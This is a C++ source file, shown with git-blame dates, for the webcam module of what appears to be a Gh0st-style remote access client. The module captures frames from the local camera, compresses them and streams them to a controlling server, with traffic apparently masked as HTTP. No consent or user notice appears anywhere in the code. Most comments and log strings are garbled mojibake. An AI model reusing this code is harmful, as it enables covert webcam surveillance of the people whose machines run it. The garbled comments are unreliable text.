2019-01-05 20:21:43 +08:00
|
|
|
|
// VideoManager.cpp: implementation of the CVideoManager class.
|
|
|
|
|
|
//
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
|
|
|
|
|
#include "stdafx.h"
|
|
|
|
|
|
#include "VideoManager.h"
|
|
|
|
|
|
#include "Common.h"
|
|
|
|
|
|
#include <iostream>
|
|
|
|
|
|
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
// Construction/Destruction
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
2025-03-13 23:34:33 +08:00
|
|
|
|
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
|
2019-01-05 20:21:43 +08:00
|
|
|
|
{
|
|
|
|
|
|
m_bIsWorking = TRUE;
|
|
|
|
|
|
|
|
|
|
|
|
m_bIsCompress = false;
|
|
|
|
|
|
m_pVideoCodec = NULL;
|
|
|
|
|
|
m_fccHandler = 1129730893;
|
|
|
|
|
|
|
|
|
|
|
|
m_CapVideo.Open(0,0); // <20><><EFBFBD><EFBFBD>
|
2019-01-22 20:44:23 +08:00
|
|
|
|
lpBuffer = NULL;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-07-16 02:37:33 +08:00
|
|
|
|
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DWORD CVideoManager::WorkThread(LPVOID lParam)
|
|
|
|
|
|
{
|
|
|
|
|
|
CVideoManager *This = (CVideoManager *)lParam;
|
2025-02-06 04:15:34 +08:00
|
|
|
|
static ULONGLONG dwLastScreen = GetTickCount64();
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
|
|
|
|
|
if (This->Initialize()) //ת<><D7AA>Initialize
|
|
|
|
|
|
{
|
|
|
|
|
|
This->m_bIsCompress=true; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD>ѹ<EFBFBD><D1B9>
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
This->SendBitMapInfor(); //<2F><><EFBFBD><EFBFBD>bmpλͼ<CEBB>ṹ
|
|
|
|
|
|
|
2019-01-26 10:35:10 +08:00
|
|
|
|
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
2019-01-22 20:44:23 +08:00
|
|
|
|
This->WaitForDialogOpen();
|
|
|
|
|
|
#if USING_ZLIB
|
|
|
|
|
|
const int fps = 8;// ֡<><D6A1>
|
|
|
|
|
|
#else
|
|
|
|
|
|
const int fps = 8;// ֡<><D6A1>
|
|
|
|
|
|
#endif
|
|
|
|
|
|
const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
|
|
|
|
|
|
|
|
|
|
|
|
timeBeginPeriod(1);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
while (This->m_bIsWorking)
|
|
|
|
|
|
{
|
|
|
|
|
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
2024-12-27 01:40:40 +08:00
|
|
|
|
int span = sleep-(GetTickCount64() - dwLastScreen);
|
2019-01-22 20:44:23 +08:00
|
|
|
|
Sleep(span > 0 ? span : 1);
|
|
|
|
|
|
if (span < 0)
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("SendScreen Span = %d ms\n", span);
|
2024-12-27 01:40:40 +08:00
|
|
|
|
dwLastScreen = GetTickCount64();
|
2019-01-22 20:44:23 +08:00
|
|
|
|
if(FALSE == This->SendNextScreen())
|
|
|
|
|
|
break;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
2019-01-22 20:44:23 +08:00
|
|
|
|
timeEndPeriod(1);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
|
|
|
|
|
This->Destroy();
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("CVideoManager WorkThread end\n");
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
|
|
|
|
|
return 0;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
CVideoManager::~CVideoManager()
|
|
|
|
|
|
{
|
|
|
|
|
|
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
2019-01-22 20:44:23 +08:00
|
|
|
|
m_CapVideo.m_bExit = TRUE;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
WaitForSingleObject(m_hWorkThread, INFINITE);
|
|
|
|
|
|
CloseHandle(m_hWorkThread);
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("CVideoManager ~CVideoManager \n");
|
2019-01-05 20:21:43 +08:00
|
|
|
|
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
|
|
|
|
|
|
{
|
|
|
|
|
|
delete m_pVideoCodec;
|
|
|
|
|
|
m_pVideoCodec = NULL;
|
|
|
|
|
|
}
|
2019-01-22 20:44:23 +08:00
|
|
|
|
if (lpBuffer)
|
|
|
|
|
|
delete [] lpBuffer;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
void CVideoManager::Destroy()
|
|
|
|
|
|
{
|
2019-01-22 20:44:23 +08:00
|
|
|
|
m_bIsWorking = FALSE;
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("CVideoManager Destroy \n");
|
2019-01-05 20:21:43 +08:00
|
|
|
|
if (m_pVideoCodec) //ѹ<><D1B9><EFBFBD><EFBFBD>
|
|
|
|
|
|
{
|
|
|
|
|
|
delete m_pVideoCodec;
|
|
|
|
|
|
m_pVideoCodec = NULL;
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
void CVideoManager::SendBitMapInfor()
|
|
|
|
|
|
{
|
2019-01-21 21:04:17 +08:00
|
|
|
|
const int dwBytesLength = 1 + sizeof(BITMAPINFO);
|
|
|
|
|
|
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
|
|
|
|
|
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
2025-08-10 17:15:32 +08:00
|
|
|
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
|
|
|
|
|
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength, &mask);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
2019-01-22 20:44:23 +08:00
|
|
|
|
BOOL CVideoManager::SendNextScreen()
|
2019-01-05 20:21:43 +08:00
|
|
|
|
{
|
|
|
|
|
|
DWORD dwBmpImageSize=0;
|
2019-01-21 21:04:17 +08:00
|
|
|
|
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
|
2019-01-22 20:44:23 +08:00
|
|
|
|
if(lpDIB == NULL)
|
|
|
|
|
|
return FALSE;
|
|
|
|
|
|
|
2019-01-05 20:21:43 +08:00
|
|
|
|
// token + IsCompress + m_fccHandler + DIB
|
2019-01-22 20:44:23 +08:00
|
|
|
|
const int nHeadLen = 1 + 1 + 4;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2019-01-21 21:04:17 +08:00
|
|
|
|
UINT nBufferLen = nHeadLen + dwBmpImageSize;
|
2019-01-22 20:44:23 +08:00
|
|
|
|
lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen];
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
|
|
|
|
|
lpBuffer[0] = TOKEN_WEBCAM_DIB;
|
2019-01-22 20:44:23 +08:00
|
|
|
|
lpBuffer[1] = m_bIsCompress; //ѹ<><D1B9>
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
|
|
|
|
|
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //<2F><><EFBFBD>ォ<EFBFBD><EFBDAB>Ƶѹ<C6B5><D1B9><EFBFBD><EFBFBD>д<EFBFBD><D0B4>Ҫ<EFBFBD><D2AA><EFBFBD>͵Ļ<CDB5><C4BB><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
|
|
|
|
|
|
UINT nPacketLen = 0;
|
|
|
|
|
|
if (m_bIsCompress && m_pVideoCodec) //<2F><><EFBFBD><EFBFBD><EFBFBD>жϣ<D0B6><CFA3>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD>ѹ<EFBFBD><D1B9>
|
|
|
|
|
|
{
|
|
|
|
|
|
int nCompressLen = 0;
|
2019-01-22 20:44:23 +08:00
|
|
|
|
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
2019-01-05 20:21:43 +08:00
|
|
|
|
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
|
|
|
|
|
|
m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen,
|
|
|
|
|
|
&nCompressLen, NULL);
|
|
|
|
|
|
if (!nCompressLen)
|
|
|
|
|
|
{
|
|
|
|
|
|
// some thing error
|
2019-01-22 20:44:23 +08:00
|
|
|
|
return FALSE;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
//<2F><><EFBFBD>¼<EFBFBD><C2BC>㷢<EFBFBD><E3B7A2><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0>Ĵ<EFBFBD>С ʣ<>¾<EFBFBD><C2BE>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD>ˣ<EFBFBD><CBA3><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD>ض˿<D8B6>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD><C3B4><EFBFBD><EFBFBD>
|
|
|
|
|
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ض˵<D8B6>void CVideoDlg::OnReceiveComplete(void)
|
|
|
|
|
|
nPacketLen = nCompressLen + nHeadLen;
|
|
|
|
|
|
}
|
|
|
|
|
|
else
|
|
|
|
|
|
{
|
|
|
|
|
|
//<2F><>ѹ<EFBFBD><D1B9> <20><>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>
|
|
|
|
|
|
memcpy(lpBuffer + nHeadLen, lpDIB, dwBmpImageSize);
|
|
|
|
|
|
nPacketLen = dwBmpImageSize+ nHeadLen;
|
|
|
|
|
|
}
|
|
|
|
|
|
m_CapVideo.SendEnd(); //copy send
|
|
|
|
|
|
|
2025-06-29 21:25:59 +08:00
|
|
|
|
m_ClientObject->Send2Server((char*)lpBuffer, nPacketLen);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2019-01-22 20:44:23 +08:00
|
|
|
|
return TRUE;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|
|
|
|
|
{
|
|
|
|
|
|
switch (szBuffer[0])
|
|
|
|
|
|
{
|
|
|
|
|
|
case COMMAND_NEXT:
|
|
|
|
|
|
{
|
|
|
|
|
|
NotifyDialogIsOpen();
|
|
|
|
|
|
break;
|
2019-01-26 10:35:10 +08:00
|
|
|
|
}
|
|
|
|
|
|
case COMMAND_WEBCAM_ENABLECOMPRESS: // Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
|
|
|
|
|
|
{
|
|
|
|
|
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
if (m_pVideoCodec)
|
|
|
|
|
|
InterlockedExchange((LPLONG)&m_bIsCompress, true);
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
2019-01-26 10:35:10 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
|
|
|
|
|
case COMMAND_WEBCAM_DISABLECOMPRESS: // ԭʼ<D4AD><CABC><EFBFBD>ݴ<EFBFBD><DDB4><EFBFBD>
|
|
|
|
|
|
{
|
|
|
|
|
|
InterlockedExchange((LPLONG)&m_bIsCompress, false);
|
2025-01-15 18:49:15 +08:00
|
|
|
|
Mprintf("<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>.\n");
|
2019-01-26 10:35:10 +08:00
|
|
|
|
break;
|
|
|
|
|
|
}
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
BOOL CVideoManager::Initialize()
|
|
|
|
|
|
{
|
|
|
|
|
|
BOOL bRet = TRUE;
|
|
|
|
|
|
|
|
|
|
|
|
if (m_pVideoCodec!=NULL)
|
|
|
|
|
|
{
|
|
|
|
|
|
delete m_pVideoCodec;
|
|
|
|
|
|
m_pVideoCodec=NULL;
|
|
|
|
|
|
}
|
|
|
|
|
|
if (m_fccHandler==0) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
|
|
|
|
|
|
{
|
|
|
|
|
|
bRet= FALSE;
|
|
|
|
|
|
return bRet;
|
|
|
|
|
|
}
|
|
|
|
|
|
m_pVideoCodec = new CVideoCodec;
|
|
|
|
|
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶѹ<C6B5><D1B9> <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD> m_fccHandler(<28><><EFBFBD><EFBFBD><EFBFBD>캯<EFBFBD><ECBAAF><EFBFBD>в鿴)
|
|
|
|
|
|
if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler))
|
|
|
|
|
|
{
|
|
|
|
|
|
delete m_pVideoCodec;
|
|
|
|
|
|
bRet=FALSE;
|
|
|
|
|
|
// <20><>NULL, <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪNULL<4C><4C><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9>
|
|
|
|
|
|
m_pVideoCodec = NULL;
|
|
|
|
|
|
}
|
|
|
|
|
|
return bRet;
|
|
|
|
|
|
}
|